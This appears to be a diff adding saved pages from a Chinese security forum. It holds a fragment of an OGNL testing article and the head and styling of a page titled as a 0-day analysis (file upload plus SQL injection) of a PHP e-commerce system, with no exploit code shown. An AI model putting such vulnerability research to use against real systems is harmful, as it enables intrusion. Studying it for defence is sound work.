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 truncated
|
||||
<p blockindex=39>线上同样不放图了,被警告了,使用的话是可以成功的,那就试试直接r呢?</p>
|
||||
<p blockindex=40><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=41>具体描述和测试用例放在<a href=https://github.com/springkill/Ognl-Test>https://github.com/springkill/Ognl-Test</a> 感兴趣自取。</p></div></div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,414 @@
|
||||
<!DOCTYPE html> <html lang=en style><!--
|
||||
Page saved with SingleFile
|
||||
url: https://xz.aliyun.com/t/14036
|
||||
--><meta charset=utf-8>
|
||||
<title>PHP代码审计-来客推电商管理系统0Day分析(文件上传+SQLI)</title>
|
||||
<meta name=description content=先知社区,先知安全技术社区>
|
||||
<meta name=viewport content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
|
||||
<style>/*!
|
||||
* Bootstrap v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}footer{display:block}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}img{height:auto;vertical-align:middle;-ms-interpolation-mode:bicubic}input{margin:0}button{-webkit-appearance:button}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333}a{text-decoration:none}a:hover,a:focus{color:#005580;text-decoration:underline}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}.container{width:940px}.span10{width:780px}.container{margin-right:auto;margin-left:auto}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}p{margin:0 0 10px}strong{font-weight:bold}.text-right{text-align:right}.text-center{text-align:center}h2,h3,h4{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}h4{font-size:17.5px}ul{padding:0}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}pre{color:#333;-webkit-border-radius:3px;-moz-border-radius:3px}pre{display:block;margin:0 0 10px;white-space:pre-wrap;border:1px solid rgba(0,0,0,0.15);-webkit-border-radius:4px;-moz-border-radius:4px}input{font-weight:normal}input{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}input[type="text"]{display:inline-block;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px}input{width:206px}input[type="text"]{background-color:#fff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}input{margin-left:0}input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear}.collapse{position:relative;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.btn{text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #ccc;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover,.btn:focus{color:#333;text-decoration:none;background-position:0-15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05Line truncated
|
||||
<style>/*! Editor.md v1.5.0 | editormd.min.css | Open source online markdown editor. | MIT License | By: Pandao | https://github.com/pandao/editor.md | 2015-06-09 *//*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;overflow:hidden}.markdown-body *{-moz-box-sizing:border-box}.markdown-body a:active,.markdown-body a:hover{outline:0;text-decoration:underline}.markdown-body>:first-child{margin-top:0 !important}.markdown-body>:last-child{margin-bottom:0 !important}.markdown-body img{-moz-box-sizing:border-box}/*! Pretty printing styles. Used with prettify.js. */@media screen{}@media screen{}</style>
|
||||
<style>/*!
|
||||
* Bootstrap Responsive v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}@-ms-viewport{width:device-width}@media(min-width:768px) and (max-width:979px){}@media(max-width:767px){}@media(min-width:1200px){.row{margin-left:-30px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:30px}.container{width:1170px}.span10{width:970px}input{margin-left:0}}@media(min-width:768px) and (max-width:979px){.row{margin-left:-20px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container{width:724px}.span10{width:600px}input{margin-left:0}}@media(max-width:767px){body{padding-right:0px;padding-left:0px}.container{width:auto}.row{margin-left:0}[class*="span"]{display:block;float:none;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.modal{position:fixed;right:20px;left:20px;width:auto;margin:0}.modal.fade{top:-100px}}@media(max-width:480px){.nav-collapse{-webkit-transform:translate3d(0,0,0)}.modal{top:10px;right:10px;left:10px}}@media(max-width:979px){body{padding-top:0}.navbar .container{width:auto;padding:0}.navbar .brand{padding-right:10px;padding-left:10px}.nav-collapse{clear:both}.nav-collapse.collapse{height:0;overflow:hidden}}@media(min-width:980px){.nav-collapse.collapse{height:auto !important;overflow:visible !important}}</style>
|
||||
<style>li{line-height:26px}a:hover{text-decoration:none}.post-user-action>span{margin-right:10px;line-height:21px;border:0}.post-user-action .i-seprator{color:rgba(0,0,0,0.1);margin:0 2px}.navbar .brand{padding:0;height:50px;margin-left:0;display:inline-block !important;background-repeat:no-repeat;width:120px;background-size:207px 50px;background-image:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDIxLjEuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IuWbvuWxgl8xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4PSIwcHgiIHk9IjBweCIKCSB2aWV3Qm94PSIwIDAgODAwLjQgMTMwLjQiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDgwMC40IDEzMC40OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkuc3Qwe2ZpbGw6IzM3M0Q0MTt9Cjwvc3R5bGU+Cjx0aXRsZT7lhYjnn6XmioDmnK/npL7ljLo8L3RpdGxlPgo8Zz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iMCwxMjEuNCAwLDI3LjMgNTYuMywyNy4zIAkiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iODkuOSw4LjQgODkuOSwxMDIuNSAzMy41LDEwMi41IAkiLz4KPC9nPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMTMwLjcsNTguNGMtMi4zLTEuNC00LjctMi45LTcuMi00LjVjNi02LjksMTAuNy0xNi4yLDE0LjEtMjcuOWw4LjMsMS43Yy0wLjcsMS42LTEuNiwzLjktMi44LDYuOQoJYy0wLjcsMi4zLTEuMywzLjktMS43LDQuOGgxNy41VjI0aDguM3YxNS41aDI5LjZWNDdoLTI5LjZ2MTUuMWgzNC43VjcwaC0yNi41djIxLjNjLTAuMiwzLjQsMS42LDUsNS41LDQuOGg3LjIKCWMzLjIsMC4yLDUuMy0xLjMsN